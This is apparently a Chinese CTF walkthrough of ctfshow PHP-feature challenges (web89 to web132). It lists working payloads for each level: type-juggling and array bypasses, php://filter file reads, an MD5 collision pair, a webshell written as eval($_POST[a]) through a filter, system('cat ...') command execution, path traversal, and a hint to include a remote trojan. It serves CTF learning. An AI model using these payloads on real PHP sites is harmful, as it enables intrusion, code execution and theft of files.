web89
源码:
1 |
|
题目中要求传入数字 然后intval() 函数用于获取变量的整数值
利用preg_match()函数无法处理数组的漏洞绕过匹配
intval()函数貌似也无法处理数组
本地环境?num=aaaaa不输出
?num[]=aaaaa就可以输出
1 | 题目payload:?num[]=1 |
2021/8/11
web90
源码:
1 |
|
php弱类型总结
要求传入的num不能全等于4476 (数值类型)
且经过int转换之后需要全等于4476 (数值类型)
1 | 弱类型法:?num=4476asfsf ?num=4476.0 ?num=4476.1//第一个判断类型不相等 第二个判断经过强制转换之后相等 |
本地测试
web91
源码:
1 |
|
/i不区分大小写
/m代表匹配多行数据
考点:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展
第一个匹配 只要在某一行匹配到了开头和结尾都是php就可以通过 也就是说匹配内容中必须只有flag
第二个匹配不分行 一起匹配 要求不能出现php
1 | ?cmd=aaaa%0aphp |
第一个匹配遇到了%0a 当成换行符 继续匹配第二行 匹配到了只有php的一行 通过
第二个匹配一行内有%0aphp 不满足开头和结尾都是php 不通过 输出flag
web92
源码:
1 |
|
第一个if($num==4476) 要求传入的num不能等于4476 所以弱类型就失效了
看到intval里base参数还是0 所以可以用进制绕过
新知识:intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
1 | 十六进制法: ?num=0x117c |
web93
源码:
1 |
|
第一个==判断可以用进制转换和科学计数法绕过
第二个判断检测不能出现字母,所以只能用八进制绕过
第三个intval配合八进制 输出flag
1 | 八进制:?num=010574 |
web94
源码:
1 |
|
多了一个判断函数
如果我们传入的num有0 则不通过 这样就不能用进制转换了
1 | ?num=4476.0 |
web95
源码:
1 |
|
preg_match(“/[a-z]|./i”, $num) 把小数点过滤了
可以通过8进制绕过但是前面必须多加一个字节 这样就保证开头字符不是0了
1 | ?num=+010574 |
web96
源码:
1 |
|
要求传入的u不能是flag.php
然后显示参数u文件的代码
可以配合伪协议绕过
也可以用相对/绝对路径绕过
1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php |
web97
源码:
1 |
|
要求传入a和b参数 且a不等于b 且md5加密后的a和b相等
由于md5判断的是=== 全等 无法用弱类型绕过
md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,就会得到===强比较的值相等
1 | a[]=1&b[]=2 |
这个题目强碰撞没成功
1 | param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
web98
源码:
1 | Notice: Undefined index: flag in /var/www/html/index.php on line 15 |
知识点:php三元运算符与if的详解
php中引用的用法:
变量的引用赋值: $a = &$b
函数调用时的引用参数传递
1 |
|
web99
源码:
1 |
|
array() 函数用于创建数组。
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
rand() 函数生成随机整数。(如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。 )
in_array() 函数搜索数组中是否存在指定的值。
从题目来看 最难绕过的点就是in_array 如果传入n的文件名为x.php 需要在in_array中被搜索到才能通过
核心:in_array() 函数漏洞
1 | #以下,'7eee'被强制转换成整型 7var_dump(in_array('7eee', [1, 2, 7, 9]));//true #如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。var_dump(in_array('7eee', [1, 2, 7, 9], true));//false |
1 | 本地测试: var_dump(in_array('1.php', [1, 2, 7, 9])); //bool(true) |
因为rand()函数从1-877(0x36d)之间随机插入了很多数 只要是数字开头的 x.php就可以利用此漏洞
1 | GET: |
web100
源码:
1 |
|
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
绕过
1 | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); |
利用这种方式
1 | $a=true and false and false; |
保证v1位数字 v2构造命令 v3写分号结尾
1 | eval("$v2('ctfshow')$v3 |
1 | if(!preg_match("/\;/", $v2)){ //v2中不能有分号 |
1 | eval("$v2('ctfshow')$v3 |
输出的flag需要把0x2d HEX Decode成 -
然后加上ctfshow{}
web101
源码:
1 |
|
v2过滤了很多符号 没法命令执行了 v3分号没过滤
考点是类反射
CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令
1 | PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。 |
导出类信息
1 | ?v1=1&v2=echo new Reflectionclass&v3=; |
拿到flag 0x2d换成-
flag最后少一位 从0-9 a-z一个一个试
2021/8/12
web102
源码:
1 |
|
substr() 函数返回字符串的一部分。
substr(string,start,length)
call_user_func — 把第一个参数作为回调函数调用
结合方向 | 运算符 | 附加信息 | ||
---|---|---|---|---|
无 | clone new | clone 和 new | ||
左 | [ | array() | ||
右 | ** | 算术运算符 | ||
右 | ++ – ~ (int) (float) (string) (array) (object) (bool) @ | 类型和递增/递减 | ||
无 | instanceof | 类型 | ||
右 | ! | 逻辑运算符 | ||
左 | ** / %* | 算术运算符 | ||
左 | + - . | 算术运算符和字符串运算符 | ||
左 | << >> | 位运算符 | ||
无 | < <= > >= | 比较运算符 | ||
无 | == != === !== <> <=> | 比较运算符 | ||
左 | & | 位运算符和引用 | ||
左 | ^ | 位运算符 | ||
左 | *\ | * | 位运算符 | |
左 | && | 逻辑运算符 | ||
左 | *\ | \ | * | 逻辑运算符 |
左 | ?? | 比较运算符 | ||
左 | ? : | ternary | ||
right | = += -= = = /= .= %= &= \ | = ^= <<= >>=* | 赋值运算符 | |
左 | and | 逻辑运算符 | ||
左 | xor | 逻辑运算符 | ||
左 | or | 逻辑运算符 |
这里v2必须是数字 因为赋值运算的优先级比AND和OR的高
$p = 6 and 0;
var_dump($p); //int(6)
substr函数会从第三个字符(012)开始截取
v1是自定义函数 可以利用hex2bin
v3没做限制 可以利用伪协议写入base64解码之后的字符串
1 | php://filter/write=convert.base64-decode/resource=1.php |
1 | PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= // eval($_POST[a]); |
将其转换为16进制字符串
1 | 50443977614841675a585a686243676b5831425055315262595630704f776f3d //PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= |
在base64字符串前面增加5个字符 然后转换成16进制
1 | aaaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= |
传入16进制字符串 绕过数字检测 substr函数截取变成
1 | 6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020 |
最终payload
1 | GET |
结果执行失败了 看了一些 是因为16进制中出现了字符串 没过检测 那么就想办法构造一个简短的payload
1 | =`cat *`; |
最终payload
1 | GET |
新知识:
1 | 是短标签 |
web103
源码:
1 |
|
这个题和上一题的不同之处是会检查hex2bin之后的base64字符串 是不存在php字符的 还是用上一题payload
1 | GET |
web104
源码:
1 |
|
要求post传入v1 get传入v2
两个参数经过sha1加密后相等
1 | GET:v2=1 / v2[]= |
web105
源码:
1 |
|
GET传入的参数作为数组遍历 如果参数名(key)全等于error 就退出脚本
继续向下执行 进行变量覆盖
POST传入的参数作为数组遍历 如果参数名(key)全等于flag就退出脚本
继续向下执行 进行变量覆盖
继续向下执行
如果post传入的flag参数的内容与flag变量不相等 就退出脚本 不传入flag也退出脚本
但是我们是不知道flag变量内容的
考点是变量覆盖
把error变成suces 把suces变成flag
如果不能传入与flag变量相等的flag参数的内容
就会触发die($error); 从而把flag输出
1 | GET |
web106
源码:
1 |
|
这次限定了v1不能和v2相等
直接弱类型
或者用数组绕过sha1函数
1 | aaK1STfY |
web107
源码:
1 |
|
出现了一个新函数 parse_str()
parse_str() 函数把查询字符串解析到变量中。
1 |
|
简单来说就是把传入的参数和内容变成变量
如果又第二个参数的话
就把第一个参数变成数组存储到第二个参数中
1 |
|
我们构造v1的内容为flag=xxx 将其存储到v2中
v3要经过md5加密 加密后需要等于v2中flag的内容 也就是我们传入的v1的flag的内容
最终payload:
1 | GET |
2021/8/13
web108
源码:
1 |
|
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值。
一个数经过反转并取整后等于十六进制0x36d即十进制的877
那这个数为778就可以
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
1 | ?c=a%00778 |
web109
源码:
1 |
|
CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令
payload:
1 | ?v1=Exception&v2=system('cat fl36dg.txt') |
web110
源码:
1 |
|
过滤了很多 没办法命令执行了
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
http://phpff.com/filesystemiterator
https://www.php.net/manual/zh/class.filesystemiterator.php
getcwd()函数 获取当前工作目录 返回当前工作目录 配合echo输出
1 | ?v1=FilesystemIterator&v2=getcwd //fl36dga.txt |
web111
源码:
1 |
|
1 | function getFlag(&$v1,&$v2){ |
利用全局变量输出flag
1 | ?v1=ctfshow&v2=GLOBALS |
2021/8/18
web112
源码:
1 |
|
有一个新函数
主要点还是对伪协议的过滤
payload:
1 | ?file=php://filter/resource=flag.php |
web113
源码:
1 |
|
过滤字符增加了filter
payload:
1 | ?file=compress.zlib://flag.php |
web114
源码:
1 |
|
过滤字符少了filter 多了compress|root|zip|convert
payload:
1 | ?file=php://filter/resource=flag.php |
web115
源码:
1 |
|
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
1 | if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ |
1 | 语法 |
payload:
1 | ?num=%0c36 //%0c==\f 换页符 +-.和换页符 都可以绕过 trim和is_numeric |
2021/8/24
web130
源码:
1 |
|
非预期payload:
1 | post |
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。
1 | import requests |
web131
源码:
1 |
|
规定是字符串类型 数组无法绕过stripos
规定要出现36Dctfshow 36Dctfshow无法绕过正则匹配
1 | import requests |
web132
访问robots.txt 发现url/admin/
源码:
1 |
|
结合方向 | 运算符 | 附加信息 | ||
---|---|---|---|---|
无 | clone new | clone 和 new | ||
左 | [ | array() | ||
右 | ** | 算术运算符 | ||
右 | ++ – ~ (int) (float) (string) (array) (object) (bool) @ | 类型和递增/递减 | ||
无 | instanceof | 类型 | ||
右 | ! | 逻辑运算符 | ||
左 | ** / %* | 算术运算符 | ||
左 | + - . | 算术运算符和字符串运算符 | ||
左 | << >> | 位运算符 | ||
无 | < <= > >= | 比较运算符 | ||
无 | == != === !== <> <=> | 比较运算符 | ||
左 | & | 位运算符和引用 | ||
左 | ^ | 位运算符 | ||
左 | *\ | * | 位运算符 | |
左 | && | 逻辑运算符 | ||
左 | *\ | \ | * | 逻辑运算符 |
左 | ?? | 比较运算符 | ||
左 | ? : | ternary | ||
right | = += -= = = /= .= %= &= \ | = ^= <<= >>=* | 赋值运算符 | |
左 | and | 逻辑运算符 | ||
左 | xor | 逻辑运算符 | ||
左 | or | 逻辑运算符 |
1 | if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ |
要求传入值为字符型
先运算&& 后运算||
前面的运算为真假没关系 只要保证$username ===”admin”为真就可以
或运算一真则真
1 | url/admin/?username=admin&password=a&code=admin |
2021/8/26
web123
源码:
1 |
|
1 | POST : CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag |
web129
源码:
1 |
|
要求$f中出现ctfshow 且不能在开头出现
然后读取$f
方法一
1 | ?f=0ctfshow/../../../../var/www/html/flag.php |
方法二
1 | ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php |
方法三
1 | ?f=http://xxx.com/ctfshow.php //readfile可远程包含服务器的木马 |